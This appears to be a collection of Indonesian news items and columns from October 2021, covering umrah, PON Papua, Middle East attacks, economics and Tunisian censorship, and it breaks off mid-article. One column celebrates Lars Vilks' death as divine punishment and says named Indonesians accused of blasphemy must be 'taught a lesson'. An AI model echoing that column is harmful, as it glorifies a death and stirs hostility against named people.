Jakarta, FNN - Kabar gembira bagi umat Islam Indonesia, muncul di akhir pekan ini. Setelah tertunda lama akibat Corona Virus Disease 2019 (Covid-19), pemerintah Arab Saudi, melalui nota diplomatik Kedutaan Besar di Jakarta, 8 Oktober 2021, menyatakan pelaksanaan ibadah umrah bagi jamaah dari Indonesia kembali dibuka. “Kedutaan telah menerima informasi dari pihak berkompeten di Kerajaan Saudi Arabia perihal pengaturan dimulainya kembali pelaksanaan umrah bagi jamaah umrah Indonesia,” Menteri Luar Negeri, Retno LP Marsudi, dalam pengarahan pers yang dipantau di Jakarta, Sabtu, 9 Oktober 2021. Dia juga menjelaskan, saat ini sebuah komite khusus di Arab Saudi ssedang berupaya meminimalisasi segala hambatan yang dapat menghalangi jamaah umrah Indonesia dalam melakukan ibadah tersebut. Selain itu, Saudi juga mempertimbangkan penetapan masa karantina selama lima hari bagi para jamaah umrah yang tidak memenuhi standar kesehatan yang dipersyaratkan. Kedua negara (Indonesia dan Arab Saudi) juga sedang bekerja supaya dapat berbagi informasi terkait latar belakang kesehatan calon jamaah, guna mempermudah proses masuk ke Arab Saudi. “Di dalam nota diplomatik tersebut, juga disebutkan, kedua pihak dalam tahap akhir pembahasan mengenai pertukaran link teknis dengan Indonesia yang menjelaskan informasi para pengunjung berkaitan dengan vaksin dan akan memfasilitasi proses masuknya calon jamaah,” kata Retno, sebagaimana dikutip dari Antara. Kementerian Luar Negeri Indonesia terus berkoordinasi dengan Kementerian Agama dan Kementerian Kesehatan, beserta otoritas terkait Arab Saudi, mengenai pelaksanaan kebijakan baru pemerintah Saudi tersebut. “Tentunya kabar baik tersebut akan kita tindaklanjuti dengan pembahasan secara lebih detail mengenai teknis pelaksanaannya,” ujarnya. Retno baru-baru ini bertemu dengan Menlu Arab Saudi Faisal bin Farhan di sela-sela Sidang Umum Perserikatan Bangsa-Bangsa di kota New York, Amerika Serikat, pada akhir September lalu. Pada kesempatan tersebut, Retno melobi Arab Saudi agar mengkaji kebijakannya terkait vaksin Covid-19 dan pelaksanaan ibadah umrah bagi calon jamaah asal Tanah Air. Kepada mitranya, Reno juga menjelaskan data dan situasi Covid-19 di Indonesia yang sudah sangat menurun akhir-akhir ini. (MD).

Jawa Barat Berpeluang Kembali Jadi Juara PON

Jayapura, FNN - Upaya kontingen Jawa Barat (Jabar) mempertahankan predikat juara pada Pekan Olahraga Nasional (PON) cukup terbuka. Hal itu terlihat setelah mereka sukses meninggalkan rival-rivalnya pada klasemen sementara kejuaraan empat tahunan yang digelar di Papua itu. Berdasarkan data dari PB PON, Sabtu, 9 Oktober 2021 hingga pukul 12.00 WIT, Tim Tanah Pasundan bertengger di puncak klasemen dengan raihan 68 emas, 63 perak dan 67 perunggu. Jumlah tersebut berarti selisih sembilan emas dengan DKI Jakarta yang berada di posisi dua dengan 60 emas, 51 perak dan 61 perunggu. Pundi-pundi emas kontingen Jabar, di antaranya berasal dari atletik yang dipersembahkan oleh atlet jalan cepat 20 kilometer putra atas nama Hendro, marathon putra lewat Agus Prayogo dan marathon putri lewat Odekta Elvina. Peluang menambah emas bagi provinsi yang dipimpin Ridwan Kamil itu terus terbuka. Apalagi, cabang olahraga renang yang merupakan salah satu lumbung medali mulai dipertandingkan. Selain itu, ada pula dari cabang menembak. Posisi DKI Jakarta di posisi dua ternyata cukup panas karena ditekan oleh Jawa Timur yang berada di posisi tiga dengan 59 emas 49 perak dan 47 perunggu. Kontingen ibu kota jelas tidak tinggal diam karena beberapa atlet terbaiknya, terutama dari cabang olahraga renang, mulai unjuk kemampuan. Namun sayang, di cabang sepak takraw, quadrant putri gagal menyumbang emas setelah kalah dari wakil Sulawesi Selatan. Sementara itu, tuan rumah Papua terus berusaha menggoyang papan atas klasemen. Hingga saat ini masih tertahan di posisi empat dengan raihan 53 emas, 27 perak dan 53 perunggu. Kontingen tuan rumah sebelumnya mampu membuat kejutan dengan berada di papan atas klasemen. Akan tetapi, pelan-pelan posisinya mulai bisa digeser kontingen langganan papan atas. PON Papua yang digelar pada 2-15 Oktober itu mempertandingkan 37 cabang olahraga, 56 disiplin dan 681 nomor pertandingan di empat klaster, yakni Kabupaten dan Kota Jayapura, Mimika dan Merauke. (MD).

Sepuluh Orang Terluka Dalam Serangan di Bandara Saudi

Kairo, FNN - Sepuluh orang terluka dalam serangan pesawat tak berawak (drone) bermuatan bahan peledak di bandara King Abdullah di kota Jizan selatan Saudi. Menurut kantor berita negara (SPA), enam warga Saudi, tiga warga negara Bangladesh dan satu warga Sudan terluka dalam peristiwa tersebut. Juru bicara koalisi menambahkan, beberapa jendela bandara juga hancur dalam serangan itu. Koalisi militer pimpinan Saudi melakukan intervensi di Yaman pada 2015, mendukung pasukan pemerintah Presiden Abdrabbuh Mansur Hadi dan memerangi kelompok Houthi yang bersekutu dengan Iran. Tidak ada klaim tanggung jawab langsung oleh Houthi atas peristiwa yang terjadi Jumat, 8 Oktober 2021 itu. Akan tetapi, kelompok itu secara teratur meluncurkan serangan drone dan rudal ke Arab Saudi. (MD).

Kenaikan Harga Tandan Buah Segar Bantu Pemulihan Ekonomi

Sungailiat, Bangka, FNN - Kenaikan harga jual buah tandan segar (TBS) kelapa sawit di Kabupaten Bangka, Provinsi Kepulauan Bangka Belitung menjadi salah faktor pembantu percepatan pemulihan ekonomi di daerah tersebut. Kini, harga bahan baku minyak goreng tersebut naik Rp 100 per kilogram, dari Rp 2.400 menjadi Rp 2.500 per kg. "Saya optimis kenaikkan harga TBS tingkat petani yang mencapai kisaran rata-rata Rp 2.500 per kilogram dari sebelumnya hanya Rp 2.400 per kilogram mendukung percepatan pemulihan ekonomi selain pertumbuhan sektor usaha kerakyatan lainnya," kata Wakil Bupati Bangka, Syahbudin, di Sungailiat, Sabtu, 9 Oktober 2021. Kenaikan harga TBS tingkat pertani tersebut sudah terjadi sejak satu minggu lebih. Diharapkan harga masih terus meningkat. Perluasan kebun kelapa sawit, kata dia, baik yang dikembangkan masyarakat secara mandiri maupun mitra perusahaan pengolahan "Crude Palm Oil" (CPO) mengalami peningkatan. Pengembangkan sektor kelapa sawit rakyat membuktikan kalau komoditi tersebut cukup diminati masyarakat karena kemampuan produksi jangka panjang," ujarnya, sebagaimana dikutip dari Antara. Total luas perkebunan kelapa sawit rakyat di Kabupaten Bangka yang tersebar di sejumlah kecamatan sampai saat ini terdata lebih dari 12.700 hektare. Belasan ribu hektare kebun sawit rakyat tersebut belum termasuk kebun plasma atau kebun kemitraan. Produksi kelapa sawit memberikan kontribusi besar perekenomian masyarakat. "Saya sarankan masyarakat dapat pengembangan sumber daya alam yang berkelanjutan dengan optimalisasi pemanfaatan lahan seperti pertanian, perkebunan dan sub sektor lainnya," katanya. Dikatakan, pemerintah Kabupaten Bangka melalui petugas penyuluh lapangan akan memberikan pendampingan petani lewat pendekatan kelompok guna membantu meningkatkan kualitas pengetahuan petani. (MD).

Membakar Penista Nabi

By M Rizal Fadillah AKHIRNYA kekuasaan Allah ditunjukkan pada dunia, membakar penista Nabi. Adalah Lats Vilks seniman Swedia yang tewas terbakar di dalam mobil yang bertabrakan dengan truk di jalan bebas hambatan di Markaryd Swedia. Mobil polisi sipil yang dikendarainya dikawal oleh dua polisi, keduanya turut tewas, memiliki perlindungan maksimal anti peluru dan ban anti tusuk. Menurut Kepala Unit Investigasi Regional Stefan Sinteus kejadian tabrakan tersebut "sangat tragis". Vilks pada tahun 2007 dengan alasan kebebasan berbicara menghina Nabi Muhammad SAW dengan membuat sketsa dalam tubuh anjing. Umat Islam marah sehingga PM Swedia Fredrik Reinfeld perlu bertemu dengan 22 perwakilan negara muslim. Percobaan pembunuhan pun terjadi, bahkan pada tahun 2015 serangan bersenjata terjadi pada acara debat kebebasan berbicara yang dihadiri Vilks di Kopenhagen. Al Qaida pernah menawarkan USD 100.000 untuk kepalanya. Tewasnya Lats Vilks dalam tabrakan tragis yang belum diketahui penyebabnya menjadi berita dunia. Hal ini menjadi pelajaran berharga bagi para penista agama. Di negeri barat seperti Swedia saja direaksi dan dikritisi walaupun degan alasan kebebasan berbicara. Tragisnya di negara muslim seperti Indonesia ternyata penista agama bertebaran dan bebas berbicara. Termasuk para buzzer yang merasa terlindungi oleh Pemerintah yang habis-habisan dijilatnya. Kasus penista Kece yang dihajar dan dilumuri kotoran manusia oleh Irjen Pol Napoleon Bonaparte ternyata dibela oleh banyak pihak. Bonaparte dibela oleh umat yang merasa sakit atas penghinaan Kece. Sementara Kece dibela oleh para pendukung "kebebasan dan kemanusiaan" termasuk "ulama" pengecam penganiayaan. Para penista agama dan anti Islam patut untuk ditindak tegas. Paul Zhang, Kece, Denny Siregar, Abu Janda dan sejenisnya mesti mendapat pelajaran. Proses hukum harus dijalankan dengan konsisten dan adil. Jangan ada perlindungan dengan alasan dekat dan diperlukan oleh kekuasaan. Apalagi dalam rangka adu domba atau melumpuhkan kekuatan agama. Ketika perlindungan maksimal dilakukan seperti kepada Vilks baik pengawalan ketat sehari hari maupun kendaraan anti peluru dan lainnya, maka sebenarnya si penista agama itu bukan hanya sedang berhadapan dengan umat yang merasa tersakiti, tetapi juga dengan Allah Yang Maha Kuasa. Dan ketika umat sudah merasa tidak mampu untuk berbuat apa-apa, maka Allah akan mampu berbuat apa saja. Saatnya datang tiba-tiba. Para penista agama dan kaum islamophobia sebaiknya belajar dari peristiwa Vilks yang berteriak kesakitan ketika ia dalam mobil dengan perlindungan ketat menjadi tidak berdaya menghadapi api yang membakar tubuhnya. Allah telah membakar penista Nabi itu. *) Pemerhati Politik dan Keagamaan

Ledakan Hancurkan Masjid di Afghaninstan

Kabul, FNN - Sebuah ledakan menghancurkan masjid di Kunduz, Afghanistan, Jumat, 8 Oktober 2021. Sedikitnya 50 orang tewas dan melukai banyak orang yang sedang berada di tempat tersebut. Rekaman video memperlihatkan mayat-mayat tergeletak di antara puing-puing di dalam masjid yang digunakan oleh masyarakat minoritas Muslim Syiah itu. Belum ada kelompok yang mengaku bertanggung jawab atas peristiwa itu. Seorang pejabat Taliban yang tidak mau disebut namanya mengatakan, sedikitnya 28 orang tewas dan puluhan lainnya terluka dalam ledakan tersebut. "Sore ini, sebuah ledakan terjadi di sebuah masjid rekan-rekan Syiah kami .... mengakibatkan sejumlah rekan kami menjadi syuhada dan terluka," kata juru bicara Taliban, Zabihullah Mujahid di Twitter. Ledakan tersebut menyusul sejumlah serangan, salah satunya terhadap sebuah masjid di ibu kota Kabul, yang terjadi dalam beberapa pekan terakhir. Beberapa serangan di antaranya didaku oleh kelompok ISIS. Peristiwa itu telah menambah persoalan keamanan bagi Taliban, yang mengambil Afghanistan pada Agustus dan sejak itu melakukan operasi terhadap sel-sel ISIS di Kabul. (MD).

Pemerintah Diminta Intensif Lobi Arab Saudi Terkait Ibadah Haji Umroh

Jakarta, FNN - Ketua MPR RI Bambang Soesatyo meminta Kementerian Agama segera melakukan pendekatan dengan berkunjung ke Arab Saudi agar lebih intensif melobi pemerintah Arab Saudi terkait dengan penyelenggaraan ibadah haji dan umrah. "Penurunan kasus Covid-19 di Indonesia dapat menjadi momentum tepat untuk meyakinkan dan menunjukkan fakta yang baik bahwa Indonesia bersungguh-sungguh dalam mengupayakan penanggulangan kasus serta pengendalian pandemi," kata Bambang Soesatyo dalam keterangannya di Jakarta, Jumat, 8 Oktober 2021. Bambang mengatakan hal itu terkait dengan pemerintah Arab Saudi belum memberikan izin untuk penyelenggaraan umrah bagi jemaah Indonesia meskipun situasi pandemi di Indonesia sudah membaik. Bamsoet meminta pemerintah mulai mempersiapkan skema khusus bagi calon jemaah umrah yang disesuaikan dengan ketentuan dan persyaratan yang dikeluarkan Arab Saudi. "Hal itu terutama pedoman khusus terkait dengan penyelenggaraan umrah pada masa pandemi Covid-19 serta skema khusus vaksinasi Covid-19 bagi calon jemaah," ujarnya, sebagaimana dikutip dari Antara. Ia juga meminta komitmen pemerintah Indonesia untuk terus mengupayakan diplomasi dengan pemerintah Arab Saudi untuk meyakinkan otoritas Arab Saudi bahwa Indonesia sudah siap dan mampu menyelenggarakan ibadah haji ataupun umrah. Selain itu, menurut dia, upaya tersebut juga untuk menunjukkan keseriusan dan kemampuan Indonesia dalam menanggulangi dan mengatasi pandemi Covid-19. (MD).

Pemkot Singkawang Gunakan Dana PEN untuk Perbaikan Jalan

Pontianak, FNN - Pemerintah Kota Singkawang melaksanakan program perbaikan pada sejumlah ruas jalan dengan menggunakan dana Pemulihan Ekonomi Nasional untuk memaksimalkan transportasi di kota itu. "Salah satu wilayah jalan yang sumber dananya dari PEN adalah Jalan Haji Bakar, Kelurahan Semelagi Kecil, Kecamatan Singkawang Utara. Warga setempat menilai pekerjaan ini sangat membantu masyarakat," kata Ketua RT 4 RW 2 Kelurahan Semelagi Kecil, Kecamatan Singkawang Utara, Mus Mulyadi di Singkawang, Jumat. Dia menyatakan, warga di tempatnya merasa sangat terbantu dengan adanya perbaikan jalan tersebut. Karena, jika dulu jalannya becek kini dengan adanya pembangunan jalan membuat memudahkan warga bergerak, dimana mobilitas transportasi menjadi nyaman. "Tentu hal tersebut sangat bermanfaat dan warga terbantu akan pembangunan jalan tersebut," tuturnya. Selain itu warga pun terbantu jika hendak menuju perjalanan ke kebun atau menjual hasil kebun di wilayah tersebut. Jalan lainnya yang menjadi sasaran dana PEN, yakni Jalan Terminal Induk, Kelurahan Kuala, Kecamatan Singkawang Barat. "Dengan adanya perbaikan jalan tersebut memudahkan transportasi warga. Karena Jalan Terminal Induk menghubungkan jalan menuju kawasan sentra ekonomi dan pemukiman warga," kata Dian warga BTN Agung Lestari III Komplek Terninal Induk. Adanya pembangunan jalan Terminal Induk, katanya, transportasi menjadi lebih nyaman. "Karena sebelumnya sudah lama sekali jalan rusak, berlubang dan juga sering digenangi air hujan,” ujarnya. (mth)

Gubernur NTT: Proyek PLTS 2 GW Sumba Akan Jadi Perintis Ekonomi Hijau

Kupang, FNN - Gubernur Nusa Tenggara Timur Viktor Bungtilu Laiskodat mengatakan Proyek Pembangkit Listrik Tenaga Surya (PLTS) 2 Giga Watt (GW) di Pulau Sumba akan perintis pengembangan ekonomi hijau (green economy) di NTT. “Dengan Proyek PLTS 2 GW Sumba ini, NTT akan menjadi pionir dalam pengembangan green economy sesuai dengan arahan Bapak Presiden Joko Widodo," katanya dalam siaran pers Biro Humas Setda NTT yang diterima di Kupang, Jumat. Ia menyampaikan hal itu dalam pertemuan bersama pimpinan PT GSE dan Sungrow untuk membahas terkait persiapan investasi PLTS 2 GW di Pulau Sumba. Gubernur Viktor menyatakan mendukung investasi tersebut sebagai bagian dari pengembangan ekonomi berwawasan lingkungan atau ekonomi hijau (green economy). Proyek ini, kata dia diharapkan dapat mendukung pencapaian target bauran Energi Baru Terbarukan (EBT) Indonesia sesuai dengan Paris Agreement 2015 yang ditandatangani Presiden Joko Widodo. “Dengan demikian, NTT nantinya dapat menjadi pionir dalam pengembangan green economy," katanya. Lebih lanjut, Gubernur Laiskodat mengatakan investasi ini tentu akan mendorong masuknya berbagai pembangunan bahkan investasi lainnya, seperti pengembangan infrastruktur dan pabrik penunjang panel surya dan battery storage. Hal ini, kata dia tentu saja akan berdampak pada penyerapan ribuan tenaga kerja lokal sehingga dapat menurunkan angka kemiskinan. Gubernur Laiskodat mengatakan di sisi lain pembangunan energi surya tersebut juga dapat menurunkan tarfi listrik yang tentu akan meringankan beban subsidi negara ke PLN. "Manakala proyek ini kita laksanakan maka, dapat terjadi efisiensi dari sisi keringanan beban subsidi Negara ke PLN," katanya. Sementara itu, Direkrut PT GSE Bambang S. menyampaikan pihaknya berkomitmen untuk merealisasikan proyek PLTS 2 GB di Pulau Sumba yang saat ini sedang dalam tahap studi kelayakan. Ia menyebutkan beberapa infrastruktur utama yang akan dibangun meliputi panel surya yang akan menyerap sinar matahari dengan menggunakan battery storage, serta kabel transmisi bawah laut yang akan terhubung dengan sistem jaringan listrik Bali dan Nusa Tenggara. Bambang menambahkan estimasi nilai investasi ini mencapai mencapai 4 miliar dolar AS dengan listrik yang dihasilkan nantinya dapat dipasok untuk Bali, Nusa Tenggara Barat, dan NTT. (mth)

Indonesia Andalan China Saat Impor Batu Bara Australia Ditangguhkan

Beijing, FNN - Indonesia menjadi andalan China sebagai pemasok utama batu bara sejak negara Tirai Bambu itu menangguhkan impor dari Australia. Selama periode Januari-Agustus 2021, Indonesia menjadi pemasok batu bara terbesar China dengan kenaikan 19 persen dibandingkan periode yang sama tahun 2020, demikian data kepabeanan setempat, Jumat. Volume impor batu bara dari Indonesia dan Rusia ke China sudah mengungguli impor dari Australia. Beberapa provinsi di China mendesak pemerintah pusat lebih banyak mengimpor batu bara dari Indonesia, Rusia, dan Kazakhstan. "Sebagian besar cadangan batu bara Rusia berada di dekat wilayah timur laut China sehingga impor dari Rusia mampu menghemat biaya transportasi," kata Direktur China Center for Energy Economics Research di Xiamen, Lin Boqiang. Sejumlah provinsi seperti Heilongjiang, Jilin, dan Zhejiang sangat membutuhkan pasokan batu bara dari Indonesia, Rusia, Mongolia, dan Kazakhstan. "Justru sejak penangguhan batu bara dari Australia, kesenjangan pasar di China bisa diatasi oleh Indonesia, Rusia, dan produk lokal," kata Lin seperti dikutip Global Times. Menurut dia, impor batu bara dari Rusia tidak sebanyak dari Indonesia. "China memiliki sumber pasokan yang beragam termasuk Indonesia dan Rusia, yang merupakan pengekspor sumber daya alam teratas sampai saat ini," ujar Lin. Namun di masa mendatang, China akan membatasi penggunaan batu bara karena akan memanfaatkan pembangkit listrik tenaga surya, angin, dan nuklir untuk mengurangi emisi karbon. (mth)

Kata-kata (Menakutkan) yang Mampu Menggerakkan

Oleh Ady Amar *) Di belahan dunia mana pun kata-kata atau kalimat dianggap mampu menggerakkan. Menjadi momok menakutkan bagi penguasa yang mengendalikan pemerintahannya dengan otoriter. Ketakutan pada bait-bait puisi ataupun lirik kata dalam lagu dengan kalimat menghujam yang mampu menggerakkan kesadaran hak-hak rakyat yang dirampas semena-mena. Amer Ayad, jurnalis televisi ditangkap rezim otoriter Tunisia. Dan stasiun televisi di mana ia bekerja, Zitouna TV, ditutup dengan alasan tidak mengantongi izin beroperasi. Aneh memang. Padahal stasiun televisi itu hadir sejak 2012, bersamaan dengan tumbangnya rezim otoriter Zine El Abidin Ben Ali. Semua menyebut itu cuma alasan rezim Presiden Kais Saied saja untuk membungkam media yang berani mengungkap langkahnya dalam membekukan parlemen, dan juga kerap mengkritik kebijakan pemerintahannya. Sebelumnya Zitouna TV memang menayangkan acara bincang-bincang dengan seorang nara sumber, dan tentu isinya mengkritik kebijakan rezim. Selepas acara itu, sepasukan tentara menyerbu stasiun televisi itu dan menangkapnya. Ada yang dianggap "memberatkan" Amer Ayad saat itu, ia nekat membacakan "The Ruller", puisi karya penyair Iraq, Ahmed Matar. Bait-bait puisi yang dibacakannya itu dianggap menganalogikan dengan rezim otoriter Tunisia saat ini, yang menjalankan kebijakan dengan semaunya. Bait-bait puisi yang dibacakan itu ditakutkan akan menggerakkan rakyat untuk melawan otoriterian rezim Kais Saied, dan itu jadi ketakutan tersendiri. Maka membungkam suara rakyat jadi keharusan dan itu dianggap langkah efektif. Sikap paranoid muncul seiring rezim menjalankan pemerintahan dengan membekukan institusi negara yang mempunyai fungsi kontrol atas jalannya pemerintahan. Bersikap keras menyingkirkan siapa saja yang dianggap membahayakan kelangsungan rezim. Arab Spring dan Redemption Song Kalimat dengan huruf besar-besar terpampang di beberapa negara Arab, yang dibawa para demonstran. Itu mengawali revolusi, yang dikenal dengan Arab Spring. Dimulai dari Tunisia, awal tahun 2010. Dan menggelinding ke beberapa negara Arab lainnya. Bunyi kalimat itu, Ash-Sha'b Yurid Isqat an-Nizami (Rakyat Ingin Menjatuhkan Rezim). Dipicu dari peristiwa Muhamed Bouazizi (26 tahun), seorang penjual buah yang dagangannya dirampas oleh semacam petugas ketertiban, kepalanya dipukul dengan pentungan, dan motor untuk lapaknya dirusak. Melihat itu Bouazizi, yang menghidupi 8 orang keluarganya dengan penghasilan sebulan tidak lebih dari Rp 2 juta, itu menangis-frustrasi. Tanpa berpikir panjang ia menyiram tubuhnya dengan bensin dan membakarnya. Peristiwa itu tersebar dengan cepat ke seantero negeri Tunisia dan belahan dunia Arab lainnya. Bouazizi sehari kemudian meninggal dengan 90 persen tubuh nyaris terbakar. Arab spring bermula dari seorang Bouazizi, yang meski jasadnya sudah terkubur 12 bulan, ia tetap diingat dan tidak terlupakan. Dan memunculkan kalimat "Rakyat Ingin Menjatuhkan Rezim" menginspirasi tumbangnya empat presiden negara Arab lainnya. Dimulai dari tumbangnya rezim Zine El Abidin Ben Ali, rezim otoriter dan korup yang berkuasa puluhan tahun di Tunisia. Menyusul kemudian, Muammar Gaddafi (Libya), Husni Mubarak (Mesir), dan Ali Abdullah Saleh (Yaman). Begitulah kata-kata atau kalimat mampu menggerakkan, dan itu tentu dimulai dari satu peristiwa sebagai pemantiknya. Dan Tunisia saat-saat ini, mulai gencar adakan penangkapan-penangkapan. Tampaknya ingin mengulang munculnya Arab Spring jilid 2, yang dipicu penangkapan jurnalis televisi yang membacakan puisi, yang dianggap sebagai ancaman. Karenanya, ia harus ditangkap-dipenjarakan. Tidak saja kata-kata dari puisi yang dianggap dapat menggerakkan, tapi kata-kata dari lirik lagu pun acap jadi momok rezim otoriter. Iwan Fals beberapa lirik lagunya kerap dianggap mengkritik rezim Orde Baru. Sayang lirik lagu kritiknya hanya hadir dicukupkan pada rezim Soeharto. Pilihan dan kata-kata kritik dalam lagunya memang tidak setajam semacam Bob Marley, bapak musik reggae asal Jamaika, yang lirik lagunya melampaui batas teritorial, dan tak lekang oleh zaman. Adalah Marcus Garvey, dikenal sebagai Bapak perubahan Afrika. Kata-kata atau kalimat yang keluar dari mulutnya dianggap mampu menggerakkan. Ia menjadi inspirasi gerakan pembebasan Afrika dari penjajahan. Pidato-pidatonya membakar kesadaran masyarakat Afrika untuk merdeka, dan terbebas dari rasisme. Pidato-pidato Garvey adalah ajakan kesadaran dan perlawanan merebut hak-hak warga Afrika. Garvey lah dianggap salah seorang yang "mewarnai" lagu-lagu pemberontakan Bob Marley, dimana lirik lagu ciptaannya banyak terinspirasi pidato Garvey. Bahkan pada satu karya lagunya, ia mengutip pidato Garvey jadi syairnya. "Redemption Song", judulnya. Pidato Garvey berupa seruan untuk rakyat Afrika, agar terbebas dari belenggu perbudakan. Bukan sekadar penjajahan fisik, tapi juga mental. "Emancipate yourselves from mental slavery/None but ourselves can free over minds." Lagu itu dirilis 1980, yang setahun kemudian Bob Marley meninggal dunia. Lagu Redemption Song dianggap salah satu karya besar Marley. Tentu banyak lagi karya lagu Marley yang menginspirasi, "Get Up Stand Up", bisa disebut salah satu karya lagu lainnya, yang itu tidak saja untuk bangsa Afrika yang menderita, tapi pada semua kelompok di belahan dunia mana pun yang (merasa) termarjinalkan. Get Up Stand Up dinyanyikan di mana-mana hingga sekarang, itu jika berkenaan dengan ketidakadilan. Kata-kata atau kalimat memang mampu menggerakkan, dan bahkan kata-kata menohok rezim yang ditulis di tembok-tembok (mural) belakangan ini pun sepertinya jadi momok menakutkan. Sehingga kehadirannya cepat-cepat dimusnahkan dengan menghapusnya. Adakah kita tengah memasuki era otoriterian, sehingga kata-kata pun oleh rezim diyakini mampu menggerakkan... Wallahu a'lam. (*) *) Kolumnis

Anies Baswedan Revitalisasi Masjid Al-Mansyur Tambora

Jakarta, (FNN) - Gubernur DKI Jakarta. Anies Baswedan pada Jumat, 8 Oktober 2021 meresmikan dimulainya revitalisasi Masjid Al-Mansyur Tambora, Jakarta Barat. "Kami ingin semua tempat ibadah di Jakarta yang punya sejarah dirawat, dikembangkan, direvitalisasi seperti Masjid Al-Mansyur," kata Anies saat berada di Masjid Al-Mansyur. Masjid Al-Mansyur dipilih sebagai rumah ibadah yang direvitalisasi karena dianggap sebagai bangunan bersejarah. Masjid tersebut menjadi salah satu tempat dikibarkan bendera Merah Putih di awal masa kemerdekaan Republik Indonesia. Selain itu, tempat ini menjadi salah satu pusat berkembangnya ajaran Islam di Ibu Kota sejak 300 tahun lalu. "Tempat ini adalah tempat perjuangan, tempat pendidikan, tempat kebangkitan umat yang bermanfaat lintas zaman," kata Anies. Revitalisasi akan memakan waktu beberapa bulan, diperkirakan rampung pada Mei atau Juni 2022. Anies berharap prosesnya berjalan lancar sehingga warga setempat bisa segera kembali beraktivitas di masjid tersebut. Ketua Dewan Kemakmuran Masjid (DKM) Masjid Al-Mansyur, Afiif Ahmadi Mansur mengapresiasi upaya yang dilakukan Anies dalam rangka merevitalisasi masjid bersejarah ini. Afiif mengatakan, pihaknya sudah berupaya melakukan revitalisasi masjid sejak gubernur sebelum Anies. Namun, kala itu revitalisasi tidak kunjung terjadi. Afiif yang juga cicit dari pendiri Nasjid Al-Mansyur mengaku sudah mendapatkan gambaran bentuk masjid setelah revitalisasi. Akan tetapi, dia belum bisa menjelaskan dengan detail terkait desain masjid. Dia memastikan selama revitalisasi, kegiatan keagamaan masih bisa berlangsung di dalam masjid kecuali Shalat Jumat. "Kalau kata arsiteknya bilang masih bisa dipakai untuk sholat lima waktu. Tapi kalau sholat Jumat tidak bisa, jadi kita shalat di depan," katanya. (MD)..

Jadwal Motorcross PON Papua: Empat Emas Terakhir Jadi Rebutan

Merauke, FNN - Cabang olahraga bermotor PON Papua akan melanjutkan perlombaan dengan nomor motorcross di Sirkuit Fregeb Waninggap, Tanah Miring, Merauke, Sabtu, setelah menyelesaikan perebutan empat set medali di nomor roadrace pada Rabu. Tersisa empat set medali lagi untuk diperebutkan yaitu dari kelas 125cc perorangan, 125cc beregu, 250cc perorangan dan 250cc beregu nomor motorcross yang bakal menjalani debutnya di pesta olahraga nasional empat tahunan tersebut. Kelas 125cc diikuti oleh pebalap berusia 13-17 tahun yang dibekali motor KTM SX 125 sedangkan kelas 250cc untuk pebalap di atas 17 tahun, menggunakan motor KTM SX 250. Seluruh motor yang digunakan disediakan panitia PON. Tuan rumah telah memboyong tiga medali emas dari nomor roadrace yang dipertandingkan pada Rabu, sedangkan NTB mencuri satu medali emas di trek aspal sirkuit kebanggaan Merauke itu. Tim Papua mendapat keuntungan berstatus tuan rumah dengan menurunkan dua tim dan tak akan menyia-nyiakan peluang itu ketika mereka melibas trek motorcross Tanah Miring. Di kualifikasi kelas 125cc perorangan, pada Jumat pebalap Papua Barat Nuzul Ramzidan tampil lebih cepat 0,660 detik dari unggulan DKI Jakarta M. Arsenio Algifari demi posisi start terdepan. Ananda Rigi Aditya menempati P3 di depan Dzaif Arkhan Madani asal Jawa Tengah. Sedangkan duet tim Papua-A Nakami Vidi Makarim dan Akbar Aureliansyah finis 1-2 di babak kualifikasi kelas 125cc beregu demi membuka peluang tim tuan rumah menambah pundi-pundi medali emas mereka. Tandem tim tuan rumah itu akan diganggu oleh Arsenio Algifari asal DKI Jakarta yang menyerang dari P3 dan pebalap Jawa Timur Ananda Giri Aditya satu posisi berselang. Sementara itu, pole position kelas 250cc beregu menjadi milik pebalap DKI M. Delvinton Alfarizi dengan catatan terbaik 1:25,055. Sekali lagi tuan rumah mengirimkan pebalapnya ke posisi start baris terdepan ketika Yosua Pattipi finis 1,365 detik berselang di P2 untuk tim Papua - A. Hilman Maksum dari tim Papua-B akan mencoba merepotkan lawan-lawannya dari P4, satu posisi di belakang I Gusti Ngurah Diva Ismayana dari Bali. Pebalap MXGP Delvintor Alfarizi kembali menjadi tumpuan DKI untuk mencuri medali emas pertama mereka dari cabang olahraga bermotor, setelah gagal membawa pulang satu medali emaspun dari roadrace, ketika ia tampil dominan di kualifikasi kelas 250cc perorangan. Gusti Ngurah Diva asal Bali masih menjadi rival terdekat dengan margin 0,929 detik di P2 diikuti pebalap tuan rumah Yosua Pattipi. Technical delegate cabang olahraga bermotor PON Papua Eddy Saputra mengungkapkan panitia penyelenggara telah melakukan sejumlah perawatan dan perbaikan di trek motorcross Tanah Miring jelang hari penyelenggaraan lomba. Seperti penyiraman trek agar tidak berdebu, dan perbaikan saluran pembuangan air. "Jadi kalau tiba-tiba hujan tidak terjadi genangan air," kata Eddy yang juga menjabat sebagai direktur roda dua IMI pusat itu. Tingkat kepadatan tanah juga harus menjadi perhatian, Eddy menambahkan, "karena tikungannya biasanya harus keras, supaya tidak rusak." Sesi kualifikasi pada Jumat sempat diguyur gerimis. Sedangkan cuaca di Merauke hari ini dan besok diperkirakan hujan, kata Eddy. Berikut jadwal nomor motorcross PON Papua pada Sabtu (dalam WIT): 10:00 - MX 125cc beregu - Race 20 menit + 2 lap 11:00 - MX 250cc beregu - Race 30 menit + 2 lap 14:00 - MX 125cc perorangan - Race 20 menit +2 lap 15:00 - MX 250cc perorangan - Race 30 menit + 2 lap (mth)

PBSI Pastikan Tiga Turnamen di Bali Tetap Lanjut Meski WADA Mengancam

Jakarta, FNN - Persatuan Bulu Tangkis Seluruh Indonesia (PBSI) memastikan tiga turnamen bulu tangkis internasional yang akan diselenggarakan di Bali akhir tahun ini akan tetap digelar, meskipun ada ancaman sanksi dari Badan Anti Doping Dunia (WADA). "Turnamen di Bali nanti dipastikan tidak ada masalah. Bisa berlangsung sesuai jadwal. Tiga turnamen bulu tangkis internasional itu tetap bisa digelar," ujar Ketua Bidang Luar Negeri PP PBSI Bambang Roedyanto melalui siaran pers PP PBSI yang diterima di Jakarta, Jumat. Roedy menjelaskan, setelah muncul pemberitaan bahwa Indonesia terancam sanksi WADA akibat tak patuh dalam prosedur antidoping, dirinya langsung berkoordinasi dengan BWF. Hasilnya, tiga turnamen internasional yang akan digelar di Bali, tetap bisa dilanjutkan. Tiga turnamen internasional tersebut adalah, Indonesia Masters yang bakal digelar pada 16-21 November, lalu Indonesia Open (23-28 November), dan ditutup dengan BWF World Tour Finals (1-5 Desember). Menurut Roedy, penggunaan nama "Indonesia" di tiga ajang 